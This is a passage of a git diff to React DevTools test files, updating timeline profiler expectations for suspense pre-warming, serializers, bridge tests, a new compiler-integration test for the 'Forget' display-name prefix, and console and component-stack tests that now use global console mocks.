           // There should be two batches of renders: Suspeneded and resolved.
           expect(timelineData.batchUIDToMeasuresMap.size).toBe(2);
@@ -1514,6 +1538,10 @@ describe('Timeline profiler', () => {
 
         const {render: modernRender} = getModernRenderImplementation();
 
+        beforeEach(() => {
+          utils.act(() => store.profilerStore.startProfiling());
+        });
+
         it('should mark concurrent render without suspends or state updates', () => {
           utils.act(() => modernRender(<div />));
 
@@ -1649,7 +1677,11 @@ describe('Timeline profiler', () => {
             </React.Suspense>,
           );
 
-          await waitForAll(['suspended']);
+          await waitForAll([
+            'suspended',
+            // pre-warming
+            'suspended',
+          ]);
 
           Scheduler.unstable_advanceTime(10);
           resolveFn();
@@ -1660,26 +1692,39 @@ describe('Timeline profiler', () => {
           const timelineData = stopProfilingAndGetTimelineData();
 
           // Verify the Suspense event and duration was recorded.
-          expect(timelineData.suspenseEvents).toHaveLength(1);
-          const suspenseEvent = timelineData.suspenseEvents[0];
-          expect(suspenseEvent).toMatchInlineSnapshot(`
-                      {
-                        "componentName": "Example",
-                        "depth": 0,
-                        "duration": 10,
-                        "id": "0",
-                        "phase": "mount",
-                        "promiseName": "",
-                        "resolution": "resolved",
-                        "timestamp": 10,
-                        "type": "suspense",
-                        "warning": null,
-                      }
-                  `);
+          expect(timelineData.suspenseEvents).toMatchInlineSnapshot(`
+              [
+                {
+                  "componentName": "Example",
+                  "depth": 0,
+                  "duration": 10,
+                  "id": "0",
+                  "phase": "mount",
+                  "promiseName": "",
+                  "resolution": "resolved",
+                  "timestamp": 10,
+                  "type": "suspense",
+                  "warning": null,
+                },
+                {
+                  "componentName": "Example",
+                  "depth": 0,
+                  "duration": 10,
+                  "id": "0",
+                  "phase": "mount",
+                  "promiseName": "",
+                  "resolution": "resolved",
+                  "timestamp": 10,
+                  "type": "suspense",
+                  "warning": null,
+                },
+              ]
+            `);
 
           // There should be two batches of renders: Suspeneded and resolved.
           expect(timelineData.batchUIDToMeasuresMap.size).toBe(2);
-          expect(timelineData.componentMeasures).toHaveLength(2);
+          // An additional measure with pre-warming
+          expect(timelineData.componentMeasures).toHaveLength(3);
         });
 
         it('should mark concurrent render with suspense that rejects', async () => {
@@ -1706,7 +1751,7 @@ describe('Timeline profiler', () => {
             </React.Suspense>,
           );
 
-          await waitForAll(['suspended']);
+          await waitForAll(['suspended', 'suspended']);
 
           Scheduler.unstable_advanceTime(10);
           rejectFn();
@@ -1717,26 +1762,39 @@ describe('Timeline profiler', () => {
           const timelineData = stopProfilingAndGetTimelineData();
 
           // Verify the Suspense event and duration was recorded.
-          expect(timelineData.suspenseEvents).toHaveLength(1);
-          const suspenseEvent = timelineData.suspenseEvents[0];
-          expect(suspenseEvent).toMatchInlineSnapshot(`
-                      {
-                        "componentName": "Example",
-                        "depth": 0,
-                        "duration": 10,
-                        "id": "0",
-                        "phase": "mount",
-                        "promiseName": "",
-                        "resolution": "rejected",
-                        "timestamp": 10,
-                        "type": "suspense",
-                        "warning": null,
-                      }
-                  `);
+          expect(timelineData.suspenseEvents).toMatchInlineSnapshot(`
+              [
+                {
+                  "componentName": "Example",
+                  "depth": 0,
+                  "duration": 10,
+                  "id": "0",
+                  "phase": "mount",
+                  "promiseName": "",
+                  "resolution": "rejected",
+                  "timestamp": 10,
+                  "type": "suspense",
+                  "warning": null,
+                },
+                {
+                  "componentName": "Example",
+                  "depth": 0,
+                  "duration": 10,
+                  "id": "0",
+                  "phase": "mount",
+                  "promiseName": "",
+                  "resolution": "rejected",
+                  "timestamp": 10,
+                  "type": "suspense",
+                  "warning": null,
+                },
+              ]
+            `);
 
           // There should be two batches of renders: Suspeneded and resolved.
           expect(timelineData.batchUIDToMeasuresMap.size).toBe(2);
-          expect(timelineData.componentMeasures).toHaveLength(2);
+          // An additional measure with pre-warming
+          expect(timelineData.componentMeasures).toHaveLength(3);
         });
 
         it('should mark cascading class component state updates', async () => {
diff --git a/packages/react-devtools-shared/src/__tests__/__serializers__/inspectedElementSerializer.js b/packages/react-devtools-shared/src/__tests__/__serializers__/inspectedElementSerializer.js
index 870ad35e4b03..55029252843c 100644
--- a/packages/react-devtools-shared/src/__tests__/__serializers__/inspectedElementSerializer.js
+++ b/packages/react-devtools-shared/src/__tests__/__serializers__/inspectedElementSerializer.js
@@ -15,8 +15,7 @@ export function test(maybeInspectedElement) {
     hasOwnProperty('canEditFunctionProps') &&
     hasOwnProperty('canEditHooks') &&
     hasOwnProperty('canToggleSuspense') &&
-    hasOwnProperty('canToggleError') &&
-    hasOwnProperty('canViewSource')
+    hasOwnProperty('canToggleError')
   );
 }
 
diff --git a/packages/react-devtools-shared/src/__tests__/__serializers__/storeSerializer.js b/packages/react-devtools-shared/src/__tests__/__serializers__/storeSerializer.js
index ea5a402bdc23..9c13799214dd 100644
--- a/packages/react-devtools-shared/src/__tests__/__serializers__/storeSerializer.js
+++ b/packages/react-devtools-shared/src/__tests__/__serializers__/storeSerializer.js
@@ -12,8 +12,8 @@ export function test(maybeStore) {
 }
 
 // print() is part of Jest's serializer API
-export function print(store, serialize, indent) {
-  return printStore(store);
+export function print(store, serialize, indent, includeSuspense = true) {
+  return printStore(store, false, null, includeSuspense);
 }
 
 // Used for Jest snapshot testing.
diff --git a/packages/react-devtools-shared/src/__tests__/bridge-test.js b/packages/react-devtools-shared/src/__tests__/bridge-test.js
index fe265e326c98..1cc47fbe5d8a 100644
--- a/packages/react-devtools-shared/src/__tests__/bridge-test.js
+++ b/packages/react-devtools-shared/src/__tests__/bridge-test.js
@@ -27,7 +27,7 @@ describe('Bridge', () => {
     // Check that we're wired up correctly.
     bridge.send('reloadAppForProfiling');
     jest.runAllTimers();
-    expect(wall.send).toHaveBeenCalledWith('reloadAppForProfiling');
+    expect(wall.send).toHaveBeenCalledWith('reloadAppForProfiling', undefined);
 
     // Should flush pending messages and then shut down.
     wall.send.mockClear();
@@ -37,7 +37,7 @@ describe('Bridge', () => {
     jest.runAllTimers();
     expect(wall.send).toHaveBeenCalledWith('update', '1');
     expect(wall.send).toHaveBeenCalledWith('update', '2');
-    expect(wall.send).toHaveBeenCalledWith('shutdown');
+    expect(wall.send).toHaveBeenCalledWith('shutdown', undefined);
     expect(shutdownCallback).toHaveBeenCalledTimes(1);
 
     // Verify that the Bridge doesn't send messages after shutdown.
diff --git a/packages/react-devtools-shared/src/__tests__/compiler-integration-test.js b/packages/react-devtools-shared/src/__tests__/compiler-integration-test.js
new file mode 100644
index 000000000000..25bbf59488ff
--- /dev/null
+++ b/packages/react-devtools-shared/src/__tests__/compiler-integration-test.js
@@ -0,0 +1,101 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import {getVersionedRenderImplementation} from './utils';
+
+describe('CompilerIntegration', () => {
+  global.IS_REACT_ACT_ENVIRONMENT = true;
+  let React;
+  let act;
+  let useMemoCache;
+
+  beforeEach(() => {
+    React = require('react');
+    require('react-dom');
+    require('react-dom/client');
+    useMemoCache = require('react/compiler-runtime').c;
+
+    const utils = require('./utils');
+    act = utils.act;
+  });
+
+  afterEach(() => {
+    jest.restoreAllMocks();
+  });
+
+  const {render} = getVersionedRenderImplementation();
+
+  // @reactVersion >= 18.2
+  it('By default, component display names should not have Forget prefix', () => {
+    const hook = global.__REACT_DEVTOOLS_GLOBAL_HOOK__;
+    const reactDOMFiberRendererInterface = hook.rendererInterfaces.get(1);
+    expect(reactDOMFiberRendererInterface).not.toBeFalsy();
+
+    const Foo = () => {
+      // eslint-disable-next-line no-unused-vars
+      const [val, setVal] = React.useState(null);
+
+      return (
+        <div>
+          <Bar />
+        </div>
+      );
+    };
+    const Bar = () => <div>Hi!</div>;
+
+    act(() => render(<Foo />));
+
+    expect(
+      reactDOMFiberRendererInterface
+        .getDisplayNameForElementID(2)
+        .indexOf('Forget'),
+    ).toBe(-1);
+    expect(
+      reactDOMFiberRendererInterface
+        .getDisplayNameForElementID(3)
+        .indexOf('Forget'),
+    ).toBe(-1);
+  });
+
+  // For React 18.2, this will install uMC polyfill from react-compiler-runtime available on npm.
+  // @reactVersion >= 18.2
+  it('If useMemoCache used, the corresponding displayName for a component should have Forget prefix', () => {
+    const hook = global.__REACT_DEVTOOLS_GLOBAL_HOOK__;
+    const reactDOMFiberRendererInterface = hook.rendererInterfaces.get(1);
+    expect(reactDOMFiberRendererInterface).not.toBeFalsy();
+
+    const Foo = () => {
+      // eslint-disable-next-line no-unused-vars
+      const $ = useMemoCache(1);
+      // eslint-disable-next-line no-unused-vars
+      const [val, setVal] = React.useState(null);
+
+      return (
+        <div>
+          <Bar />
+        </div>
+      );
+    };
+    const Bar = () => <div>Hi!</div>;
+
+    act(() => render(<Foo />));
+
+    // useMemoCache is only used by Foo component
+    expect(
+      reactDOMFiberRendererInterface
+        .getDisplayNameForElementID(2)
+        .indexOf('Forget'),
+    ).toBe(0);
+    expect(
+      reactDOMFiberRendererInterface
+        .getDisplayNameForElementID(3)
+        .indexOf('Forget'),
+    ).toBe(-1);
+  });
+});
diff --git a/packages/react-devtools-shared/src/__tests__/componentStacks-test.js b/packages/react-devtools-shared/src/__tests__/componentStacks-test.js
index f32e0d097e8d..54af62db44e9 100644
--- a/packages/react-devtools-shared/src/__tests__/componentStacks-test.js
+++ b/packages/react-devtools-shared/src/__tests__/componentStacks-test.js
@@ -7,30 +7,27 @@
  * @flow
  */
 
-import {getVersionedRenderImplementation, normalizeCodeLocInfo} from './utils';
+import {
+  getVersionedRenderImplementation,
+  normalizeCodeLocInfo,
+} from 'react-devtools-shared/src/__tests__/utils';
 
 describe('component stack', () => {
   let React;
   let act;
-  let mockError;
-  let mockWarn;
+  let supportsOwnerStacks;
 
   beforeEach(() => {
-    // Intercept native console methods before DevTools bootstraps.
-    // Normalize component stack locations.
-    mockError = jest.fn();
-    mockWarn = jest.fn();
-    console.error = (...args) => {
-      mockError(...args.map(normalizeCodeLocInfo));
-    };
-    console.warn = (...args) => {
-      mockWarn(...args.map(normalizeCodeLocInfo));
-    };
-
     const utils = require('./utils');
     act = utils.act;
 
     React = require('react');
+    if (
+      React.version.startsWith('19') &&
+      React.version.includes('experimental')
+    ) {
+      supportsOwnerStacks = true;
+    }
   });
 
   const {render} = getVersionedRenderImplementation();
@@ -47,18 +44,22 @@ describe('component stack', () => {
 
     act(() => render(<Grandparent />));
 
-    expect(mockError).toHaveBeenCalledWith(
+    expect(
+      global.consoleErrorMock.mock.calls[0].map(normalizeCodeLocInfo),
+    ).toEqual([
       'Test error.',
       '\n    in Child (at **)' +
         '\n    in Parent (at **)' +
         '\n    in Grandparent (at **)',
-    );
-    expect(mockWarn).toHaveBeenCalledWith(
+    ]);
+    expect(
+      global.consoleWarnMock.mock.calls[0].map(normalizeCodeLocInfo),
+    ).toEqual([
       'Test warning.',
       '\n    in Child (at **)' +
         '\n    in Parent (at **)' +
         '\n    in Grandparent (at **)',
-    );
+    ]);
   });
 
   // This test should have caught #19911
@@ -82,13 +83,15 @@ describe('component stack', () => {
 
     expect(useEffectCount).toBe(1);
 
-    expect(mockWarn).toHaveBeenCalledWith(
+    expect(
+      global.consoleWarnMock.mock.calls[0].map(normalizeCodeLocInfo),
+    ).toEqual([
       'Warning to trigger appended component stacks.',
       '\n    in Example (at **)',
-    );
+    ]);
   });
 
-  // @reactVersion >=18.3
+  // @reactVersion >= 18.3
   it('should log the current component stack with debug info from promises', () => {
     const Child = () => {
       console.error('Test error.');
@@ -110,19 +113,27 @@ describe('component stack', () => {
 
     act(() => render(<Grandparent />));
 
-    expect(mockError).toHaveBeenCalledWith(
+    expect(
+      global.consoleErrorMock.mock.calls[0].map(normalizeCodeLocInfo),
+    ).toEqual([
       'Test error.',
-      '\n    in Child (at **)' +
-        '\n    in ServerComponent (at **)' +
-        '\n    in Parent (at **)' +
-        '\n    in Grandparent (at **)',
-    );
-    expect(mockWarn).toHaveBeenCalledWith(
+      supportsOwnerStacks
+        ? '\n    in Child (at **)'
+        : '\n    in Child (at **)' +
+          '\n    in ServerComponent (at **)' +
+          '\n    in Parent (at **)' +
+          '\n    in Grandparent (at **)',
+    ]);
+    expect(
+      global.consoleWarnMock.mock.calls[0].map(normalizeCodeLocInfo),
+    ).toEqual([
       'Test warning.',
-      '\n    in Child (at **)' +
-        '\n    in ServerComponent (at **)' +
-        '\n    in Parent (at **)' +
-        '\n    in Grandparent (at **)',
-    );
+      supportsOwnerStacks
+        ? '\n    in Child (at **)'
+        : '\n    in Child (at **)' +
+          '\n    in ServerComponent (at **)' +
+          '\n    in Parent (at **)' +
+          '\n    in Grandparent (at **)',
+    ]);
   });
 });
diff --git a/packages/react-devtools-shared/src/__tests__/console-test.js b/packages/react-devtools-shared/src/__tests__/console-test.js
index c79850901a82..c37285e855a5 100644
--- a/packages/react-devtools-shared/src/__tests__/console-test.js
+++ b/packages/react-devtools-shared/src/__tests__/console-test.js
@@ -7,61 +7,33 @@
  * @flow
  */
 
-import {getVersionedRenderImplementation, normalizeCodeLocInfo} from './utils';
+import {
+  getVersionedRenderImplementation,
+  normalizeCodeLocInfo,
+} from 'react-devtools-shared/src/__tests__/utils';
 
 let React;
 let ReactDOMClient;
 let act;
-let fakeConsole;
-let mockError;
-let mockInfo;
-let mockGroup;
-let mockGroupCollapsed;
-let mockLog;
-let mockWarn;
-let patchConsole;
-let unpatchConsole;
 let rendererID;
+let supportsOwnerStacks = false;
 
 describe('console', () => {
   beforeEach(() => {
-    const Console = require('react-devtools-shared/src/backend/console');
-
-    patchConsole = Console.patch;
-    unpatchConsole = Console.unpatch;
-
-    // Patch a fake console so we can verify with tests below.
-    // Patching the real console is too complicated,
-    // because Jest itself has hooks into it as does our test env setup.
-    mockError = jest.fn();
-    mockInfo = jest.fn();
-    mockGroup = jest.fn();
-    mockGroupCollapsed = jest.fn();
-    mockLog = jest.fn();
-    mockWarn = jest.fn();
-    fakeConsole = {
-      error: mockError,
-      info: mockInfo,
-      log: mockLog,
-      warn: mockWarn,
-      group: mockGroup,
-      groupCollapsed: mockGroupCollapsed,
-    };
-
-    Console.dangerous_setTargetConsoleForTesting(fakeConsole);
-    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.dangerous_setTargetConsoleForTesting(
-      fakeConsole,
-    );
-
     const inject = global.__REACT_DEVTOOLS_GLOBAL_HOOK__.inject;
     global.__REACT_DEVTOOLS_GLOBAL_HOOK__.inject = internals => {
       rendererID = inject(internals);
 
-      Console.registerRenderer(internals);
       return rendererID;
     };
 
     React = require('react');
+    if (
+      React.version.startsWith('19') &&
+      React.version.includes('experimental')
+    ) {
+      supportsOwnerStacks = true;
+    }
     ReactDOMClient = require('react-dom/client');
 
     const utils = require('./utils');
@@ -70,137 +42,44 @@ describe('console', () => {
 
   const {render} = getVersionedRenderImplementation();
 
-  // @reactVersion >=18.0
-  it('should not patch console methods that are not explicitly overridden', () => {
-    expect(fakeConsole.error).not.toBe(mockError);
-    expect(fakeConsole.info).toBe(mockInfo);
-    expect(fakeConsole.log).toBe(mockLog);
-    expect(fakeConsole.warn).not.toBe(mockWarn);
-    expect(fakeConsole.group).toBe(mockGroup);
-    expect(fakeConsole.groupCollapsed).toBe(mockGroupCollapsed);
-  });
-
-  // @reactVersion >=18.0
-  it('should patch the console when appendComponentStack is enabled', () => {
-    unpatchConsole();
-
-    expect(fakeConsole.error).toBe(mockError);
-    expect(fakeConsole.warn).toBe(mockWarn);
-
-    patchConsole({
-      appendComponentStack: true,
-      breakOnConsoleErrors: false,
-      showInlineWarningsAndErrors: false,
-    });
-
-    expect(fakeConsole.error).not.toBe(mockError);
-    expect(fakeConsole.warn).not.toBe(mockWarn);
-  });
-
-  // @reactVersion >=18.0
-  it('should patch the console when breakOnConsoleErrors is enabled', () => {
-    unpatchConsole();
-
-    expect(fakeConsole.error).toBe(mockError);
-    expect(fakeConsole.warn).toBe(mockWarn);
-
-    patchConsole({
-      appendComponentStack: false,
-      breakOnConsoleErrors: true,
-      showInlineWarningsAndErrors: false,
-    });
-
-    expect(fakeConsole.error).not.toBe(mockError);
-    expect(fakeConsole.warn).not.toBe(mockWarn);
-  });
-
-  // @reactVersion >=18.0
-  it('should patch the console when showInlineWarningsAndErrors is enabled', () => {
-    unpatchConsole();
-
-    expect(fakeConsole.error).toBe(mockError);
-    expect(fakeConsole.warn).toBe(mockWarn);
-
-    patchConsole({
-      appendComponentStack: false,
-      breakOnConsoleErrors: false,
-      showInlineWarningsAndErrors: true,
-    });
-
-    expect(fakeConsole.error).not.toBe(mockError);
-    expect(fakeConsole.warn).not.toBe(mockWarn);
-  });
-
-  // @reactVersion >=18.0
-  it('should only patch the console once', () => {
-    const {error, warn} = fakeConsole;
-
-    patchConsole({
-      appendComponentStack: true,
-      breakOnConsoleErrors: false,
-      showInlineWarningsAndErrors: false,
-    });
-
-    expect(fakeConsole.error).toBe(error);
-    expect(fakeConsole.warn).toBe(warn);
-  });
-
-  // @reactVersion >=18.0
-  it('should un-patch when requested', () => {
-    expect(fakeConsole.error).not.toBe(mockError);
-    expect(fakeConsole.warn).not.toBe(mockWarn);
-
-    unpatchConsole();
+  // @reactVersion >= 18.0
+  it('should pass through logs when there is no current fiber', () => {
+    expect(global.consoleLogMock).toHaveBeenCalledTimes(0);
+    expect(global.consoleWarnMock).toHaveBeenCalledTimes(0);
+    expect(global.consoleErrorMock).toHaveBeenCalledTimes(0);
 
-    expect(fakeConsole.error).toBe(mockError);
-    expect(fakeConsole.warn).toBe(mockWarn);
-  });
+    console.log('log');
+    console.warn('warn');
+    console.error('error');
 
-  // @reactVersion >=18.0
-  it('should pass through logs when there is no current fiber', () => {
-    expect(mockLog).toHaveBeenCalledTimes(0);
-    expect(mockWarn).toHaveBeenCalledTimes(0);
-    expect(mockError).toHaveBeenCalledTimes(0);
-    fakeConsole.log('log');
-    fakeConsole.warn('warn');
-    fakeConsole.error('error');
-    expect(mockLog).toHaveBeenCalledTimes(1);
-    expect(mockLog.mock.calls[0]).toHaveLength(1);
-    expect(mockLog.mock.calls[0][0]).toBe('log');
-    expect(mockWarn).toHaveBeenCalledTimes(1);
-    expect(mockWarn.mock.calls[0]).toHaveLength(1);
-    expect(mockWarn.mock.calls[0][0]).toBe('warn');
-    expect(mockError).toHaveBeenCalledTimes(1);
-    expect(mockError.mock.calls[0]).toHaveLength(1);
-    expect(mockError.mock.calls[0][0]).toBe('error');
+    expect(global.consoleLogMock.mock.calls).toEqual([['log']]);
+    expect(global.consoleWarnMock.mock.calls).toEqual([['warn']]);
+    expect(global.consoleErrorMock.mock.calls).toEqual([['error']]);
   });
 
-  // @reactVersion >=18.0
+  // @reactVersion >= 18.0
   it('should not append multiple stacks', () => {
-    global.__REACT_DEVTOOLS_APPEND_COMPONENT_STACK__ = true;
+    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.appendComponentStack = true;
 
     const Child = ({children}) => {
-      fakeConsole.warn('warn\n    in Child (at fake.js:123)');
-      fakeConsole.error('error', '\n    in Child (at fake.js:123)');
+      console.warn('warn', '\n    in Child (at fake.js:123)');
+      console.error('error', '\n    in Child (at fake.js:123)');
       return null;
     };
 
     act(() => render(<Child />));
 
-    expect(mockWarn).toHaveBeenCalledTimes(1);
-    expect(mockWarn.mock.calls[0]).toHaveLength(1);
-    expect(mockWarn.mock.calls[0][0]).toBe(
-      'warn\n    in Child (at fake.js:123)',
-    );
-    expect(mockError).toHaveBeenCalledTimes(1);
-    expect(mockError.mock.calls[0]).toHaveLength(2);
-    expect(mockError.mock.calls[0][0]).toBe('error');
-    expect(mockError.mock.calls[0][1]).toBe('\n    in Child (at fake.js:123)');
+    expect(
+      global.consoleWarnMock.mock.calls[0].map(normalizeCodeLocInfo),
+    ).toEqual(['warn', '\n    in Child (at **)']);
+    expect(
+      global.consoleErrorMock.mock.calls[0].map(normalizeCodeLocInfo),
+    ).toEqual(['error', '\n    in Child (at **)']);
   });
 
-  // @reactVersion >=18.0
+  // @reactVersion >= 18.0
   it('should append component stacks to errors and warnings logged during render', () => {
-    global.__REACT_DEVTOOLS_APPEND_COMPONENT_STACK__ = true;
+    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.appendComponentStack = true;
 
     const Intermediate = ({children}) => children;
     const Parent = ({children}) => (
@@ -209,32 +88,34 @@ describe('console', () => {
       </Intermediate>
     );
     const Child = ({children}) => {
-      fakeConsole.error('error');
-      fakeConsole.log('log');
-      fakeConsole.warn('warn');
+      console.error('error');
+      console.log('log');
+      console.warn('warn');
       return null;
     };
 
     act(() => render(<Parent />));
 
-    expect(mockLog).toHaveBeenCalledTimes(1);
-    expect(mockLog.mock.calls[0]).toHaveLength(1);
-    expect(mockLog.mock.calls[0][0]).toBe('log');
-    expect(mockWarn).toHaveBeenCalledTimes(1);
-    expect(mockWarn.mock.calls[0]).toHaveLength(2);
-    expect(mockWarn.mock.calls[0][0]).toBe('warn');
-    expect(normalizeCodeLocInfo(mockWarn.mock.calls[0][1])).toEqual(
-      '\n    in Child (at **)\n    in Intermediate (at **)\n    in Parent (at **)',
-    );
-    expect(mockError).toHaveBeenCalledTimes(1);
-    expect(mockError.mock.calls[0]).toHaveLength(2);
-    expect(mockError.mock.calls[0][0]).toBe('error');
-    expect(normalizeCodeLocInfo(mockError.mock.calls[0][1])).toBe(
-      '\n    in Child (at **)\n    in Intermediate (at **)\n    in Parent (at **)',
-    );
+    expect(global.consoleLogMock.mock.calls).toEqual([['log']]);
+    expect(
+      global.consoleWarnMock.mock.calls[0].map(normalizeCodeLocInfo),
+    ).toEqual([
+      'warn',
+      supportsOwnerStacks
+        ? '\n    in Child (at **)\n    in Parent (at **)'
+        : '\n    in Child (at **)\n    in Intermediate (at **)\n    in Parent (at **)',
+    ]);
+    expect(
+      global.consoleErrorMock.mock.calls[0].map(normalizeCodeLocInfo),
+    ).toEqual([
+      'error',
+      supportsOwnerStacks
+        ? '\n    in Child (at **)\n    in Parent (at **)'
+        : '\n    in Child (at **)\n    in Intermediate (at **)\n    in Parent (at **)',
+    ]);
   });
 
-  // @reactVersion >=18.0
+  // @reactVersion >= 18.0
   it('should append component stacks to errors and warnings logged from effects', () => {
     const Intermediate = ({children}) => children;
     const Parent = ({children}) => (
@@ -243,53 +124,64 @@ describe('console', () => {
       </Intermediate>
     );
     const Child = ({children}) => {
-      React.useLayoutEffect(() => {
-        fakeConsole.error('active error');
-        fakeConsole.log('active log');
-        fakeConsole.warn('active warn');
+      React.useLayoutEffect(function Child_useLayoutEffect() {
+        console.error('active error');
+        console.log('active log');
+        console.warn('active warn');
       });
-      React.useEffect(() => {
-        fakeConsole.error('passive error');
-        fakeConsole.log('passive log');
-        fakeConsole.warn('passive warn');
+      React.useEffect(function Child_useEffect() {
+        console.error('passive error');
+        console.log('passive log');
+        console.warn('passive warn');
       });
       return null;
     };
 
     act(() => render(<Parent />));
 
-    expect(mockLog).toHaveBeenCalledTimes(2);
-    expect(mockLog.mock.calls[0]).toHaveLength(1);
-    expect(mockLog.mock.calls[0][0]).toBe('active log');
-    expect(mockLog.mock.calls[1]).toHaveLength(1);
-    expect(mockLog.mock.calls[1][0]).toBe('passive log');
-    expect(mockWarn).toHaveBeenCalledTimes(2);
-    expect(mockWarn.mock.calls[0]).toHaveLength(2);
-    expect(mockWarn.mock.calls[0][0]).toBe('active warn');
-    expect(normalizeCodeLocInfo(mockWarn.mock.calls[0][1])).toEqual(
-      '\n    in Child (at **)\n    in Intermediate (at **)\n    in Parent (at **)',
-    );
-    expect(mockWarn.mock.calls[1]).toHaveLength(2);
-    expect(mockWarn.mock.calls[1][0]).toBe('passive warn');
-    expect(normalizeCodeLocInfo(mockWarn.mock.calls[1][1])).toEqual(
-      '\n    in Child (at **)\n    in Intermediate (at **)\n    in Parent (at **)',
-    );
-    expect(mockError).toHaveBeenCalledTimes(2);
-    expect(mockError.mock.calls[0]).toHaveLength(2);
-    expect(mockError.mock.calls[0][0]).toBe('active error');
-    expect(normalizeCodeLocInfo(mockError.mock.calls[0][1])).toBe(
-      '\n    in Child (at **)\n    in Intermediate (at **)\n    in Parent (at **)',
-    );
-    expect(mockError.mock.calls[1]).toHaveLength(2);
-    expect(mockError.mock.calls[1][0]).toBe('passive error');
-    expect(normalizeCodeLocInfo(mockError.mock.calls[1][1])).toBe(
-      '\n    in Child (at **)\n    in Intermediate (at **)\n    in Parent (at **)',
-    );
+    expect(global.consoleLogMock.mock.calls).toEqual([
+      ['active log'],
+      ['passive log'],
+    ]);
+
+    expect(
+      global.consoleWarnMock.mock.calls[0].map(normalizeCodeLocInfo),
+    ).toEqual([
+      'active warn',
+      supportsOwnerStacks
+        ? '\n    in Child_useLayoutEffect (at **)\n    in Parent (at **)'
+        : '\n    in Child (at **)\n    in Intermediate (at **)\n    in Parent (at **)',
+    ]);
+    expect(
+      global.consoleWarnMock.mock.calls[1].map(normalizeCodeLocInfo),
+    ).toEqual([
+      'passive warn',
+      supportsOwnerStacks
+        ? '\n    in Child_useEffect (at **)\n    in Parent (at **)'
+        : '\n    in Child (at **)\n    in Intermediate (at **)\n    in Parent (at **)',
+    ]);
+
+    expect(
+      global.consoleErrorMock.mock.calls[0].map(normalizeCodeLocInfo),
+    ).toEqual([
+      'active error',
+      supportsOwnerStacks
+        ? '\n    in Child_useLayoutEffect (at **)\n    in Parent (at **)'
+        : '\n    in Child (at **)\n    in Intermediate (at **)\n    in Parent (at **)',
+    ]);
+    expect(
+      global.consoleErrorMock.mock.calls[1].map(normalizeCodeLocInfo),
+    ).toEqual([
+      'passive error',
+      supportsOwnerStacks
+        ? '\n    in Child_useEffect (at **)\n    in Parent (at **)'
+        : '\n    in Child (at **)\n    in Intermediate (at **)\n    in Parent (at **)',
+    ]);
   });
 
-  // @reactVersion >=18.0
+  // @reactVersion >= 18.0
   it('should append component stacks to errors and warnings logged from commit hooks', () => {
-    global.__REACT_DEVTOOLS_APPEND_COMPONENT_STACK__ = true;
+    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.appendComponentStack = true;
 
     const Intermediate = ({children}) => children;
     const Parent = ({children}) => (
@@ -299,14 +191,14 @@ describe('console', () => {
     );
     class Child extends React.Component<any> {
       componentDidMount() {
-        fakeConsole.error('didMount error');
-        fakeConsole.log('didMount log');
-        fakeConsole.warn('didMount warn');
+        console.error('didMount error');
+        console.log('didMount log');
+        console.warn('didMount warn');
       }
       componentDidUpdate() {
-        fakeConsole.error('didUpdate error');
-        fakeConsole.log('didUpdate log');
-        fakeConsole.warn('didUpdate warn');
+        console.error('didUpdate error');
+        console.log('didUpdate log');
+        console.warn('didUpdate warn');
       }
       render() {
         return null;
@@ -316,36 +208,47 @@ describe('console', () => {
     act(() => render(<Parent />));
     act(() => render(<Parent />));
 
-    expect(mockLog).toHaveBeenCalledTimes(2);
-    expect(mockLog.mock.calls[0]).toHaveLength(1);
-    expect(mockLog.mock.calls[0][0]).toBe('didMount log');
-    expect(mockLog.mock.calls[1]).toHaveLength(1);
-    expect(mockLog.mock.calls[1][0]).toBe('didUpdate log');
-    expect(mockWarn).toHaveBeenCalledTimes(2);
-    expect(mockWarn.mock.calls[0]).toHaveLength(2);
-    expect(mockWarn.mock.calls[0][0]).toBe('didMount warn');
-    expect(normalizeCodeLocInfo(mockWarn.mock.calls[0][1])).toEqual(
-      '\n    in Child (at **)\n    in Intermediate (at **)\n    in Parent (at **)',
-    );
-    expect(mockWarn.mock.calls[1]).toHaveLength(2);
-    expect(mockWarn.mock.calls[1][0]).toBe('didUpdate warn');
-    expect(normalizeCodeLocInfo(mockWarn.mock.calls[1][1])).toEqual(
-      '\n    in Child (at **)\n    in Intermediate (at **)\n    in Parent (at **)',
-    );
-    expect(mockError).toHaveBeenCalledTimes(2);
-    expect(mockError.mock.calls[0]).toHaveLength(2);
-    expect(mockError.mock.calls[0][0]).toBe('didMount error');
-    expect(normalizeCodeLocInfo(mockError.mock.calls[0][1])).toBe(
-      '\n    in Child (at **)\n    in Intermediate (at **)\n    in Parent (at **)',
-    );
-    expect(mockError.mock.calls[1]).toHaveLength(2);
-    expect(mockError.mock.calls[1][0]).toBe('didUpdate error');
-    expect(normalizeCodeLocInfo(mockError.mock.calls[1][1])).toBe(
-      '\n    in Child (at **)\n    in Intermediate (at **)\n    in Parent (at **)',
-    );
+    expect(global.consoleLogMock.mock.calls).toEqual([
+      ['didMount log'],
+      ['didUpdate log'],
+    ]);
+
+    expect(
+      global.consoleWarnMock.mock.calls[0].map(normalizeCodeLocInfo),
+    ).toEqual([
+      'didMount warn',
+      supportsOwnerStacks
+        ? '\n    in Child.componentDidMount (at **)\n    in Parent (at **)'
+        : '\n    in Child (at **)\n    in Intermediate (at **)\n    in Parent (at **)',
+    ]);
+    expect(
+      global.consoleWarnMock.mock.calls[1].map(normalizeCodeLocInfo),
+    ).toEqual([
+      'didUpdate warn',
+      supportsOwnerStacks
+        ? '\n    in Child.componentDidUpdate (at **)\n    in Parent (at **)'
+        : '\n    in Child (at **)\n    in Intermediate (at **)\n    in Parent (at **)',
+    ]);
+
+    expect(
+      global.consoleErrorMock.mock.calls[0].map(normalizeCodeLocInfo),
+    ).toEqual([
+      'didMount error',
+      supportsOwnerStacks
+        ? '\n    in Child.componentDidMount (at **)\n    in Parent (at **)'
+        : '\n    in Child (at **)\n    in Intermediate (at **)\n    in Parent (at **)',
+    ]);
+    expect(
+      global.consoleErrorMock.mock.calls[1].map(normalizeCodeLocInfo),
+    ).toEqual([
+      'didUpdate error',
+      supportsOwnerStacks
+        ? '\n    in Child.componentDidUpdate (at **)\n    in Parent (at **)'
+        : '\n    in Child (at **)\n    in Intermediate (at **)\n    in Parent (at **)',
+    ]);
   });
 
-  // @reactVersion >=18.0
+  // @reactVersion >= 18.0
